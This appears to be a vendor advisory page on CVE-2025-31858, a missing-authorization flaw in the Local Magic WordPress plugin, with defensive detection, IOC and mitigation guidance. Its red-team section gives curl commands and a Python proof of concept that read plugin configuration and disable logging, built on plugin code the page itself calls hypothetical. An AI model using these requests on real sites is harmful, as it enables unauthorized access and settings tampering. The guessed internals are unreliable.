CVE-2025-31858
Executive Summary
CVE-2025-31858 is a Missing Authorization vulnerability in the Local Magic WordPress plugin (versions <= 2.9.0) developed by matthewrubin. This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access or modification. The vulnerability resides in the plugin's REST API endpoints or AJAX handlers that fail to properly verify user permissions before executing sensitive operations.
Given that this is a WordPress plugin vulnerability, it affects sites running the Local Magic plugin. The attack vector is network-based, requires no authentication, and has low complexity, making it attractive for automated exploitation. The EPSS score is 0.0%, indicating low current exploitation activity, but the lack of a patch increases long-term risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify they are not running version 2.9.0 or earlier. No official patch has been released, and the vendor appears unresponsive. Organizations using this plugin should consider removing it or implementing strict access controls until a fix is available.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability allows unauthorized access to sensitive data or limited modification of plugin settings. While not critical, the lack of authentication requirements makes it a prime target for botnets and automated scanners.
Deep Dive & Mechanics
The vulnerability stems from missing authorization checks in the local-magic plugin's REST API endpoints or AJAX handlers. The plugin likely exposes functions for managing local magic features (e.g., caching, redirects, or custom content) without verifying the user's capabilities (e.g., manage_options or edit_posts). An unauthenticated attacker can send crafted HTTP requests to these endpoints to:
- Retrieve sensitive configuration data (e.g., API keys, database credentials).
- Modify plugin settings (e.g., enable/disable features, change redirect rules).
- Trigger unintended actions (e.g., cache purging, log manipulation).
The vulnerability is classified under CWE-862: Missing Authorization. The plugin fails to implement WordPress's current_user_can() or wp_verify_nonce() checks before executing privileged operations.
Vulnerable vs. Patched Code
Since no official patch exists, the following is a hypothetical comparison based on common WordPress plugin patterns.
Vulnerable Code (local-magic.php, line ~150):
add_action('wp_ajax_nopriv_local_magic_update', 'local_magic_update_handler');
function local_magic_update_handler() {
// No capability check!
$option_name = sanitize_text_field($_POST['option']);
$option_value = sanitize_text_field($_POST['value']);
update_option($option_name, $option_value);
wp_die();
}
Patched Code (Hypothetical):
add_action('wp_ajax_local_magic_update', 'local_magic_update_handler');
function local_magic_update_handler() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
check_ajax_referer('local_magic_nonce', 'nonce');
$option_name = sanitize_text_field($_POST['option']);
$option_value = sanitize_text_field($_POST['value']);
update_option($option_name, $option_value);
wp_die();
}
The patched version adds a capability check (manage_options) and a nonce verification to prevent unauthorized access.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target WordPress site with Local Magic plugin <= 2.9.0
- Network access to the site
Exploitation Steps:
Enumerate vulnerable endpoints:
curl -s "http://target/wp-json/local-magic/v1/config" | jq .Exploit missing authorization to read sensitive data:
curl -X GET "http://target/wp-admin/admin-ajax.php?action=local_magic_get_config"Modify plugin settings (e.g., disable security features):
curl -X POST "http://target/wp-admin/admin-ajax.php" \ -d "action=local_magic_update&option=local_magic_enable_logging&value=0"
Proof-of-Concept Script (Python):
import requests
target = "http://target-wordpress-site.com"
endpoint = f"{target}/wp-admin/admin-ajax.php"
# Read configuration
payload = {"action": "local_magic_get_config"}
r = requests.post(endpoint, data=payload)
print(r.text)
# Disable logging
payload = {"action": "local_magic_update", "option": "local_magic_enable_logging", "value": "0"}
r = requests.post(endpoint, data=payload)
print(r.status_code)
Blue Team (Defensive)
Detection Steps:
- Monitor for unusual AJAX requests to
admin-ajax.phpwithaction=local_magic_*parameters from unauthenticated sources. - Check for unexpected changes to WordPress options table entries prefixed with
local_magic_. - Review web server logs for POST requests to
/wp-admin/admin-ajax.phpwith suspicious payloads.
Honeypot Configuration:
// Add to functions.php to log unauthorized access attempts
add_action('wp_ajax_nopriv_local_magic_get_config', function() {
error_log('Unauthorized access attempt to Local Magic config');
wp_die('Access denied', 403);
}, 1);
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=local_magic_*parameters - GET requests to
/wp-json/local-magic/v1/*endpoints - User-Agent strings associated with known scanning tools (e.g.,
python-requests,curl)
File System IOCs:
- Modified
wp_optionstable entries withlocal_magic_prefix - Unexpected log files in
/wp-content/uploads/local-magic-logs/ - Presence of
local-magic.phpfile in/wp-content/plugins/with version <= 2.9.0
Behavioral IOCs:
- Unauthorized changes to plugin settings (e.g., logging disabled, caching cleared)
- Unusual database queries targeting
wp_optionstable
Detection Engineering
YARA Rule
Sigma Rule
Suricata Rule
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available:
wp plugin deactivate local-magic - Implement Web Application Firewall (WAF) rules to block requests containing
local_magic_in POST parameters from unauthenticated users. - Restrict access to
admin-ajax.phpusing.htaccess:<Files "admin-ajax.php"> Require all denied Require ip 127.0.0.1 </Files>
Long-term Mitigation:
- Monitor the WordPress plugin repository for an official patch.
- Consider replacing the plugin with an alternative that has active maintenance.
- Implement principle of least privilege for all WordPress plugins.
Workaround Code (Add to theme's functions.php):
add_action('init', function() {
if (defined('DOING_AJAX') && DOING_AJAX) {
$action = $_REQUEST['action'] ?? '';
if (strpos($action, 'local_magic_') === 0 && !is_user_logged_in()) {
wp_die('Unauthorized', 403);
}
}
});
Valters IT
Securing Digital Frontiers
Security researchers use these queries on Shodan.io to find vulnerable systems globally.
Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.